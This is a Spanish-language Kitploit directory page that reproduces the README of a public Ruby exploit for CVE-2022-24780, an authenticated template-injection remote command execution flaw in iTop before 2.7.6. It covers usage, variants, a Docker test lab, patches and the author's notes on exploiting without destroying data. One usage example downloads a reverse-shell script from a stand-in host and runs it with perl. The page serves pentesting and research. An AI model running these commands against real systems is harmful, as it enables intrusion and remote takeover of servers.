Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/acceis/exploit-cve-2022-24780
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubacceis/exploit-cve-2022-24780

exploit-CVE-2022-24780

iTop < 2.7.6 - (Autenticado) Ejecución remota de comandos

Ver RepositorioSitio web
64hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

iTop RCE via SSTI - exploit CVE-2022-24780

iTop < 2.7.6 - Ejecución remota de comandos (autenticado)

Exploit para [CVE-2022-24780][CVE-2022-24780].

[EDB-TODO] [PacketStorm] [WLB-2022050075]

Uso

$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution

Usage:
  exploit.rb full <url> <username> <password> <cmd> [--debug]
  exploit.rb light <url> <username> <password> <cmd> [--debug]
  exploit.rb -h | --help

  full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
  light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <username>  iTop portal username
  <password>  iTop portal user password
  <cmd>       Command to execute on the target
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
  exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'

Sabor

La variante full del exploit utiliza Watir con un navegador web controlado por Selenium para emular la navegación de un usuario. Esto es necesario para preservar la información del usuario. El exploit inyecta un payload SSTI en una subparte del formulario utilizado para modificar la información del usuario en el perfil del portal. Mientras que algunos valores pueden estar codificados o ser obtenidos del HTML, otros (teléfono, ubicación, función) se cargan dinámicamente mediante JavaScript y se inyectan en el HTML. Por lo tanto, para que el exploit no sea destructivo, es necesario ejecutar JavaScript para poder recuperar esos valores.

La variante light del exploit no se preocupa tanto y simplemente establecerá de forma destructiva un valor nulo en algunos campos de información del usuario (teléfono, ubicación, función) en su lugar. Sin embargo, esta variante es más rápida de ejecutar, requiere menos dependencias, no ejecuta JavaScript y no necesita un entorno X (Watir lo necesita para ejecutar el navegador web).

Requisitos

TL;DR: instala todo bundle install

Variante full

  • httpx
  • docopt.rb
  • watir
  • webdrivers

Ejemplo usando gem:

gem install httpx docopt watir webdrivers

Variante light

  • httpx
  • docopt.rb
  • Nokogiri

Ejemplo usando gem:

gem install httpx docopt nokogiri

Limitaciones

No se recomienda usar payloads con comillas dobles (") ni barras invertidas (\) porque el payload se inyecta en JSON.

Despliegue en Docker del software vulnerable

Advertencia: este contenedor no es adecuado para uso en producción!

Usando vbkunin/itop:2.7.4 - fuente - docker hub

$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4

Referencias

  • Software objetivo: iTop
    • Página web: https://www.itophub.io/
    • Proveedor: https://www.combodo.com/itop
    • Demo online: https://www.combodo.com/itop-access-to-the-demonstration
    • Código fuente:
      • https://github.com/Combodo/iTop
      • https://sourceforge.net/projects/itop/files/itop/
    • Versión vulnerable:
      • Rama 2.x: < 2.7.6
      • Rama 3.x: < 3.0.0 (ej. 3.0.0-beta-7312)
    • Parches:
      • https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
      • https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
      • https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
    • Avisos de seguridad:
      • https://www.opencve.io/cve/CVE-2022-24780
      • https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
      • https://attackerkb.com/topics/tcUqij2rjR/cve-2022-24780

La vulnerabilidad fue encontrada por Markus KRELL.

Análisis de la vulnerabilidad por el descubridor:

  • iPort – Inyección de Plantillas dentro del Portal de Cliente

Aviso legal

ACCEIS no promueve ni fomenta ninguna actividad ilegal; todo el contenido proporcionado por este repositorio es únicamente con fines de investigación, educación y detección de amenazas.

Investigación

El exploit

Como auditor de seguridad (o cualquier otro rol de sombrero blanco), por un lado quieres ejecutar un script de exploit para verificar la explotabilidad práctica efectiva de la vulnerabilidad teórica basada en el número de versión de la aplicación que identificaste, pero por otro lado quieres que se haga correctamente sin ninguna acción destructiva para que la aplicación del cliente quede en el mismo estado en que la encontraste.

Por ejemplo, este exploit ocurre en la página de perfil del usuario, por lo que hay un formulario con información del usuario que ya está poblada: nombre, apellido, ID de organización, correo electrónico, teléfono, ID de ubicación, función, ID de gerente. Para que el ataque funcione, solo necesitas sobrescribir los campos vulnerables y llenar los demás con valores nulos o aleatorios si son obligatorios. Eso es lo que hace la variante light del exploit. Pero al hacerlo, destruirás la información real de ese usuario; no es problemático en un entorno de prueba, pero es un problema real si estás en un entorno de producción. Un sombrero negro no se preocupará por eso, pero como sombrero blanco debemos preservar los datos. Por lo tanto, la solución es obtener los datos reales y reutilizarlos en nuestra solicitud POST.

En aplicaciones web clásicas, a menudo solo tienes que elaborar directamente una solicitud POST con los parámetros correctos dirigidos al endpoint vulnerable. A veces necesitas manejar sesión/cookies, redirecciones, algunos estados previos que puedan ser necesarios, obtener algunos IDs o tokens anti-CSRF, pero todo esto sigue siendo muy directo y se puede lograr con prácticamente cualquier biblioteca HTTP en cualquier lenguaje.

Para recuperar los datos reales, cuando los datos en el formulario provienen de:

  • la respuesta del servidor, solo tienes que raspar la página y analizar el HTML;
  • una XHR que se hace a una API y los datos se reemplazan en el HTML por JavaScript, no necesitas JavaScript, puedes forjar otra solicitud POST a la API para recuperar los datos tú mismo.

Comienza a ser un poco más delicado en algunas aplicaciones web modernas donde muchos valores se establecen a partir de manipulaciones complejas de JavaScript. Aquí no puedes simplemente analizar HTML o solicitar una API REST; tampoco puedes obtener el valor directamente de un archivo JavaScript o analizar varias líneas y recomponer un valor. Cuando el cálculo de JS es tan complejo, ocurre en muchos archivos JS diferentes o el código fuente de JavaScript está ofuscado o empaquetado, requeriría demasiado esfuerzo y tiempo para aplicar ingeniería inversa al mecanismo y extraer el valor. En ese caso, realmente tienes que interactuar con el JavaScript de la aplicación. ¡Pero un script de exploit clásico que solo requiera una biblioteca HTTP no puede hacer eso (por sí solo)!

Descargar herramienta